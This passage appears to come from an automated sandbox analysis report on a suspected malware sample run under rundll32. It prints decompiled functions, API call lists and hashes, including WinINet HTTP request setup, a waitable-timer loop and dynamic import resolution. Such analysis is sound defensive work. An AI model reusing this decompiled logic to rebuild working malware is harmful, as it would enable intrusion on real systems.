						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                                            0x04ab7a71
                                            0x04ab7a71
                                            0x04ab7a7c
                                            0x04ab7a83
                                            0x04ab7a8b
                                            0x04ab7a95
                                            0x04ab7a9b
                                            0x04ab7aae
                                            0x04ab7abe
                                            0x04ab7ab0
                                            0x04ab7ab3
                                            0x04ab7ab8
                                            0x04ab7ab8
                                            0x04ab7aae
                                            0x04ab7ace
                                            0x04ab7ad4
                                            0x04ab7ad9
                                            0x04ab7bc2
                                            0x00000000
                                            0x04ab7af4
                                            0x04ab7af7
                                            0x04ab7b0a
                                            0x04ab7b10
                                            0x04ab7b15
                                            0x04ab7b3d
                                            0x04ab7b50
                                            0x04ab7b5a
                                            0x04ab7b5d
                                            0x04ab7b63
                                            0x04ab7b68
                                            0x00000000
                                            0x00000000
                                            0x04ab7b6c
                                            0x04ab7b78
                                            0x04ab7b89
                                            0x04ab7b8b
                                            0x04ab7b9c
                                            0x04ab7b9c
                                            0x04ab7bac
                                            0x00000000
                                            0x04ab7bbe
                                            0x00000000
                                            0x04ab7bbe
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab7b15

                                            APIs
                                            • lstrlen.KERNEL32(?,00000008,76EC4D40), ref: 04AB7A83
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 04AB7AA6
                                            • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 04AB7ACE
                                            • InternetSetStatusCallback.WININET(00000000,04AB7A06), ref: 04AB7AE5
                                            • ResetEvent.KERNEL32(?), ref: 04AB7AF7
                                            • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 04AB7B0A
                                            • GetLastError.KERNEL32 ref: 04AB7B17
                                            • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 04AB7B5D
                                            • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 04AB7B7B
                                            • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 04AB7B9C
                                            • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 04AB7BA8
                                            • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 04AB7BB8
                                            • GetLastError.KERNEL32 ref: 04AB7BC2
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                                            • String ID: @MvNv
                                            • API String ID: 2290446683-19517777
                                            • Opcode ID: 79a170b0331c760ac58ec686dea8b3d5ecb48db6c2d6908d8533cc5b41c286b4
                                            • Instruction ID: b1ecd8ddd290e9991cc6506501bb7dc00e566868249482ac2e3c313c228be446
                                            • Opcode Fuzzy Hash: 79a170b0331c760ac58ec686dea8b3d5ecb48db6c2d6908d8533cc5b41c286b4
                                            • Instruction Fuzzy Hash: 22418E75600604BBD7319F65EC48EDB7BBDEB95700B104918F583E11A2E775AA05CFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6B13 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 151timememoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 201 4ab6b13-4ab6b45 memset CreateWaitableTimerA 202 4ab6b4b-4ab6ba4 _allmul SetWaitableTimer WaitForMultipleObjects 201->202 203 4ab6cc6-4ab6ccc 201->203 204 4ab6baa-4ab6bad 202->204 205 4ab6c2e-4ab6c34 202->205 210 4ab6cd0-4ab6cda 203->210 206 4ab6bb8 204->206 207 4ab6baf call 4ab67e2 204->207 208 4ab6c35-4ab6c39 205->208 214 4ab6bc2 206->214 215 4ab6bb4-4ab6bb6 207->215 212 4ab6c3b-4ab6c3d 208->212 213 4ab6c49-4ab6c4d 208->213 212->213 213->208 216 4ab6c4f-4ab6c59 CloseHandle 213->216 217 4ab6bc6-4ab6bcb 214->217 215->206 215->214 216->210 218 4ab6bde-4ab6c0b call 4ab5803 217->218 219 4ab6bcd-4ab6bd4 217->219 223 4ab6c5b-4ab6c60 218->223 224 4ab6c0d-4ab6c18 218->224 219->218 220 4ab6bd6 219->220 220->218 225 4ab6c7f-4ab6c87 223->225 226 4ab6c62-4ab6c68 223->226 224->217 227 4ab6c1a-4ab6c25 call 4ab29f2 224->227 229 4ab6c8d-4ab6cbb _allmul SetWaitableTimer WaitForMultipleObjects 225->229 226->205 228 4ab6c6a-4ab6c7d call 4ab3f62 226->228 233 4ab6c2a 227->233 228->229 229->217 232 4ab6cc1 229->232 232->205 233->205
                                            C-Code - Quality: 83%
                                            			E04AB6B13(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				intOrPtr _t68;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x4aba2e0);
					_v76 = 0;
					_v80 = 0;
					L04AB81CA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x4aba30c; // 0x2cc
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x4aba2ec = 5;
						} else {
							_t69 = E04AB67E2(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x4aba300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E04AB5803( &_v96, _t75, _t78, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_t68 = E04AB29F2(_t75,  &_v72, _a4, _a8); // executed
							_v124.HighPart = _t68;
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x4aba2e4);
							goto L21;
						} else {
							__eflags =  *0x4aba2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E04AB3F62();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x4aba2e8);
								L21:
								L04AB81CA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							RtlFreeHeap( *0x4aba2d8, 0, _t54); // executed
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}

































                                            0x04ab6b13
                                            0x04ab6b29
                                            0x04ab6b2d
                                            0x04ab6b32
                                            0x04ab6b39
                                            0x04ab6b3f
                                            0x04ab6b45
                                            0x04ab6ccc
                                            0x04ab6b4b
                                            0x04ab6b4b
                                            0x04ab6b4d
                                            0x04ab6b52
                                            0x04ab6b53
                                            0x04ab6b59
                                            0x04ab6b5d
                                            0x04ab6b61
                                            0x04ab6b6f
                                            0x04ab6b7d
                                            0x04ab6b81
                                            0x04ab6b83
                                            0x04ab6b90
                                            0x04ab6b9c
                                            0x04ab6b9e
                                            0x04ab6ba4
                                            0x04ab6bad
                                            0x04ab6bb8
                                            0x04ab6bb8
                                            0x04ab6baf
                                            0x04ab6baf
                                            0x04ab6bb6
                                            0x00000000
                                            0x00000000
                                            0x04ab6bb6
                                            0x04ab6bc2
                                            0x00000000
                                            0x04ab6bc6
                                            0x04ab6bcb
                                            0x04ab6bd6
                                            0x04ab6bd6
                                            0x04ab6bde
                                            0x04ab6be4
                                            0x04ab6bec
                                            0x04ab6bf5
                                            0x04ab6bfc
                                            0x04ab6c00
                                            0x04ab6c05
                                            0x04ab6c0b
                                            0x00000000
                                            0x00000000
                                            0x04ab6c0d
                                            0x04ab6c11
                                            0x04ab6c18
                                            0x00000000
                                            0x04ab6c1a
                                            0x04ab6c25
                                            0x04ab6c2a
                                            0x04ab6c2a
                                            0x00000000
                                            0x04ab6c5b
                                            0x04ab6c5b
                                            0x04ab6c60
                                            0x04ab6c7f
                                            0x04ab6c81
                                            0x04ab6c86
                                            0x04ab6c87
                                            0x00000000
                                            0x04ab6c62
                                            0x04ab6c62
                                            0x04ab6c68
                                            0x00000000
                                            0x04ab6c6a
                                            0x04ab6c6a
                                            0x04ab6c6f
                                            0x04ab6c71
                                            0x04ab6c76
                                            0x04ab6c77
                                            0x04ab6c8d
                                            0x04ab6c8d
                                            0x04ab6c95
                                            0x04ab6ca3
                                            0x04ab6ca7
                                            0x04ab6cb3
                                            0x04ab6cb5
                                            0x04ab6cb9
                                            0x04ab6cbb
                                            0x00000000
                                            0x04ab6cc1
                                            0x00000000
                                            0x04ab6cc1
                                            0x04ab6cbb
                                            0x04ab6c68
                                            0x00000000
                                            0x04ab6c60
                                            0x04ab6c2e
                                            0x04ab6c30
                                            0x04ab6c34
                                            0x04ab6c35
                                            0x04ab6c35
                                            0x04ab6c39
                                            0x04ab6c43
                                            0x04ab6c43
                                            0x04ab6c49
                                            0x04ab6c4c
                                            0x04ab6c4c
                                            0x04ab6c53
                                            0x04ab6c53
                                            0x04ab6cda
                                            0x00000000

                                            APIs
                                            • memset.NTDLL ref: 04AB6B2D
                                            • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 04AB6B39
                                            • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 04AB6B61
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 04AB6B81
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,04AB2E0E,?), ref: 04AB6B9C
                                            • RtlFreeHeap.NTDLL(00000000,00000000,?,?,?,?,?,?,?,?,?,?,04AB2E0E,?,00000000), ref: 04AB6C43
                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04AB2E0E,?,00000000,?,?), ref: 04AB6C53
                                            • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 04AB6C8D
                                            • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 04AB6CA7
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04AB6CB3
                                              • Part of subcall function 04AB67E2: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,056293D8,00000000,?,76F1F710,00000000,76F1F730), ref: 04AB6831
                                              • Part of subcall function 04AB67E2: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05629410,?,00000000,30314549,00000014,004F0053,056293CC), ref: 04AB68CE
                                              • Part of subcall function 04AB67E2: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04AB6BB4), ref: 04AB68E0
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,04AB2E0E,?,00000000,?,?), ref: 04AB6CC6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                                            • String ID: Uv$@MvNv
                                            • API String ID: 3521023985-2123867127
                                            • Opcode ID: b6575bb071ba0d2f5242335070824b12eb70e9c63aa2abb7716c128efac07609
                                            • Instruction ID: cd2f2cc87e14b7ce147b0274b792dfd7cba4a966f9f05943d26b73b900cb1768
                                            • Opcode Fuzzy Hash: b6575bb071ba0d2f5242335070824b12eb70e9c63aa2abb7716c128efac07609
                                            • Instruction Fuzzy Hash: 04519DB1509320BFD711AF159C44DABBBFCEB89320F004A1AF8A492262D775A945CFD2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB7EB5 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 209libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 235 4ab7eb5-4ab7f1a 236 4ab7f3b-4ab7f65 235->236 237 4ab7f1c-4ab7f36 RaiseException 235->237 238 4ab7f6a-4ab7f76 236->238 239 4ab7f67 236->239 240 4ab80eb-4ab80ef 237->240 241 4ab7f89-4ab7f8b 238->241 242 4ab7f78-4ab7f83 238->242 239->238 243 4ab8033-4ab803d 241->243 244 4ab7f91-4ab7f98 241->244 242->241 250 4ab80ce-4ab80d5 242->250 248 4ab8049-4ab804b 243->248 249 4ab803f-4ab8047 243->249 246 4ab7f9a-4ab7fa6 244->246 247 4ab7fa8-4ab7fb5 LoadLibraryA 244->247 246->247 251 4ab7ff8-4ab8004 InterlockedExchange 246->251 247->251 252 4ab7fb7-4ab7fc7 247->252 253 4ab80c9-4ab80cc 248->253 254 4ab804d-4ab8050 248->254 249->248 261 4ab80e9 250->261 262 4ab80d7-4ab80e4 250->262 255 4ab802c-4ab802d FreeLibrary 251->255 256 4ab8006-4ab800a 251->256 268 4ab7fc9-4ab7fd5 252->268 269 4ab7fd7-4ab7ff3 RaiseException 252->269 253->250 259 4ab807e-4ab808c 254->259 260 4ab8052-4ab8055 254->260 255->243 256->243 263 4ab800c-4ab8018 LocalAlloc 256->263 259->253 272 4ab808e-4ab809e 259->272 260->259 265 4ab8057-4ab8062 260->265 261->240 262->261 263->243 267 4ab801a-4ab802a 263->267 265->259 270 4ab8064-4ab806a 265->270 267->243 268->251 268->269 269->240 270->259 271 4ab806c-4ab806f 270->271 271->259 274 4ab8071-4ab807c 271->274 276 4ab80aa-4ab80ac 272->276 277 4ab80a0-4ab80a8 272->277 274->253 274->259 276->253 278 4ab80ae-4ab80c6 RaiseException 276->278 277->276 278->253
                                            C-Code - Quality: 51%
                                            			E04AB7EB5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4ab0000;
				_t115 = _t139[3] + 0x4ab0000;
				_t131 = _t139[4] + 0x4ab0000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4ab0000;
				_v16 = _t139[5] + 0x4ab0000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4ab0002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4aba1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4aba1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4aba1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4aba1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4aba1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4aba1b8; // 0x0
										 *_t102 = _t125;
										 *0x4aba1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4aba1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                                            0x04ab7ec4
                                            0x04ab7eda
                                            0x04ab7ee0
                                            0x04ab7ee2
                                            0x04ab7ee7
                                            0x04ab7eed
                                            0x04ab7ef2
                                            0x04ab7ef5
                                            0x04ab7f03
                                            0x04ab7f0a
                                            0x04ab7f0d
                                            0x04ab7f10
                                            0x04ab7f11
                                            0x04ab7f14
                                            0x04ab7f17
                                            0x04ab7f1a
                                            0x04ab7f1f
                                            0x04ab7f2e
                                            0x00000000
                                            0x04ab7f34
                                            0x04ab7f3e
                                            0x04ab7f48
                                            0x04ab7f4d
                                            0x04ab7f4f
                                            0x04ab7f59
                                            0x04ab7f5c
                                            0x04ab7f5f
                                            0x04ab7f65
                                            0x04ab7f67
                                            0x04ab7f67
                                            0x04ab7f6a
                                            0x04ab7f6d
                                            0x04ab7f72
                                            0x04ab7f76
                                            0x04ab7f89
                                            0x04ab7f8b
                                            0x04ab8033
                                            0x04ab8033
                                            0x04ab803a
                                            0x04ab803d
                                            0x04ab8047
                                            0x04ab8047
                                            0x04ab804b
                                            0x04ab80c9
                                            0x04ab80cc
                                            0x04ab80ce
                                            0x04ab80ce
                                            0x04ab80d5
                                            0x04ab80d7
                                            0x04ab80e1
                                            0x04ab80e4
                                            0x04ab80e7
                                            0x04ab80e7
                                            0x00000000
                                            0x04ab804d
                                            0x04ab8050
                                            0x04ab807e
                                            0x04ab8088
                                            0x04ab808c
                                            0x04ab8094
                                            0x04ab8097
                                            0x04ab809e
                                            0x04ab80a8
                                            0x04ab80a8
                                            0x04ab80ac
                                            0x04ab80b1
                                            0x04ab80c0
                                            0x04ab80c6
                                            0x04ab80c6
                                            0x04ab80ac
                                            0x00000000
                                            0x04ab8057
                                            0x04ab805a
                                            0x04ab8062
                                            0x04ab8077
                                            0x04ab807c
                                            0x00000000
                                            0x00000000
                                            0x04ab807c
                                            0x00000000
                                            0x04ab8062
                                            0x04ab8050
                                            0x04ab804b
                                            0x04ab7f91
                                            0x04ab7f98
                                            0x04ab7fa8
                                            0x04ab7fab
                                            0x04ab7fb1
                                            0x04ab7fb5
                                            0x04ab7ff8
                                            0x04ab8004
                                            0x04ab802d
                                            0x04ab8006
                                            0x04ab800a
                                            0x04ab8010
                                            0x04ab8018
                                            0x04ab801a
                                            0x04ab801d
                                            0x04ab8023
                                            0x04ab8025
                                            0x04ab8025
                                            0x04ab8018
                                            0x04ab800a
                                            0x00000000
                                            0x04ab8004
                                            0x04ab7fbd
                                            0x04ab7fc0
                                            0x04ab7fc7
                                            0x04ab7fd7
                                            0x04ab7fda
                                            0x04ab7fea
                                            0x00000000
                                            0x04ab7ff0
                                            0x04ab7fd1
                                            0x04ab7fd5
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab7fd5
                                            0x04ab7fa2
                                            0x04ab7fa6
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab7fa6
                                            0x04ab7f7f
                                            0x04ab7f83
                                            0x00000000
                                            0x00000000
                                            0x00000000

                                            APIs
                                            • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04AB7F2E
                                            • LoadLibraryA.KERNEL32(?), ref: 04AB7FAB
                                            • GetLastError.KERNEL32 ref: 04AB7FB7
                                            • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04AB7FEA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: ExceptionRaise$ErrorLastLibraryLoad
                                            • String ID: $$@MvNv
                                            • API String ID: 948315288-4255027140
                                            • Opcode ID: 7a8d1d4f3a849c8a609a404d7d01dbe2278847a94594a52e80d96e6785af8570
                                            • Instruction ID: 6909c9613d60a9c4e868cec167baafc19693e7d283636652268181e954529f63
                                            • Opcode Fuzzy Hash: 7a8d1d4f3a849c8a609a404d7d01dbe2278847a94594a52e80d96e6785af8570
                                            • Instruction Fuzzy Hash: D2813D75A016059FEB10DFA8D880AEEB7F8FB58740F10802DE545E7352E7B4E945CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD44CE Relevance: 21.1, APIs: 14, Instructions: 126memorysynchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 280 5dd44ce-5dd44df 281 5dd44e1-5dd44ed call 5dd74f5 call 5dd9a58 280->281 282 5dd4533-5dd453e 280->282 296 5dd44f3-5dd4500 SleepEx 281->296 284 5dd4545-5dd4557 call 5ded9dc 282->284 285 5dd4540 call 5dee863 282->285 291 5dd4559-5dd4566 ReleaseMutex FindCloseChangeNotification 284->291 292 5dd4568-5dd456f 284->292 285->284 291->292 294 5dd4571-5dd457e ResetEvent CloseHandle 292->294 295 5dd4580-5dd458d SleepEx 292->295 294->295 295->295 297 5dd458f 295->297 296->296 298 5dd4502-5dd4509 296->298 299 5dd4594-5dd45a1 SleepEx 297->299 300 5dd451f-5dd4531 RtlDeleteCriticalSection * 2 298->300 301 5dd450b-5dd4511 298->301 302 5dd45aa-5dd45b1 299->302 303 5dd45a3-5dd45a8 299->303 300->282 301->300 304 5dd4513-5dd451a call 5ddc6b8 301->304 305 5dd45b3-5dd45bc HeapFree 302->305 306 5dd45c2-5dd45c9 302->306 303->299 303->302 304->300 305->306 308 5dd45cb-5dd45cc call 5de1163 306->308 309 5dd45d1-5dd45d7 306->309 308->309 311 5dd45d9-5dd45e0 309->311 312 5dd45e8-5dd45ef 309->312 311->312 313 5dd45e2-5dd45e4 311->313 314 5dd45f8-5dd45fe 312->314 315 5dd45f1-5dd45f2 RtlRemoveVectoredExceptionHandler 312->315 313->312 316 5dd4605 314->316 317 5dd4600 call 5dd66bb 314->317 315->314 319 5dd460a-5dd4617 SleepEx 316->319 317->316 320 5dd4619-5dd461e 319->320 321 5dd4620-5dd4629 319->321 320->319 320->321 322 5dd462b-5dd4630 321->322 323 5dd4641-5dd4651 LocalFree 321->323 322->323 324 5dd4632 322->324 325 5dd4635-5dd463f FindCloseChangeNotification 324->325 325->323 325->325
                                            APIs
                                            • SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,05DE3ED5), ref: 05DD44F7
                                            • RtlDeleteCriticalSection.NTDLL(05DF9400), ref: 05DD452A
                                            • RtlDeleteCriticalSection.NTDLL(05DF9420), ref: 05DD4531
                                            • ReleaseMutex.KERNEL32(0000059C,00000000,?,?,?,05DE3ED5), ref: 05DD455A
                                            • FindCloseChangeNotification.KERNEL32(?,?,05DE3ED5), ref: 05DD4566
                                            • ResetEvent.KERNEL32(00000000,00000000,?,?,?,05DE3ED5), ref: 05DD4572
                                            • CloseHandle.KERNEL32(?,?,05DE3ED5), ref: 05DD457E
                                            • SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,05DE3ED5), ref: 05DD4584
                                            • SleepEx.KERNEL32(00000064,00000001,?,?,05DE3ED5), ref: 05DD4598
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,05DE3ED5), ref: 05DD45BC
                                            • RtlRemoveVectoredExceptionHandler.NTDLL(05BF05B8), ref: 05DD45F2
                                            • SleepEx.KERNEL32(00000064,00000001,?,?,05DE3ED5), ref: 05DD460E
                                            • FindCloseChangeNotification.KERNEL32(0637F2C8,?,?,05DE3ED5), ref: 05DD4637
                                            • LocalFree.KERNEL32(?,?,05DE3ED5), ref: 05DD4647
                                              • Part of subcall function 05DD74F5: GetVersion.KERNEL32(?,?,76F1F720,?,05DD44E6,00000000,?,?,?,05DE3ED5), ref: 05DD7519
                                              • Part of subcall function 05DD74F5: GetModuleHandleA.KERNEL32(?,063797B5,?,76F1F720,?,05DD44E6,00000000,?,?,?,05DE3ED5), ref: 05DD7536
                                              • Part of subcall function 05DD74F5: GetProcAddress.KERNEL32(00000000), ref: 05DD753D
                                              • Part of subcall function 05DD9A58: RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DD9A62
                                              • Part of subcall function 05DD9A58: RtlLeaveCriticalSection.NTDLL(05DF9420), ref: 05DD9A9E
                                            Memory Dump Source
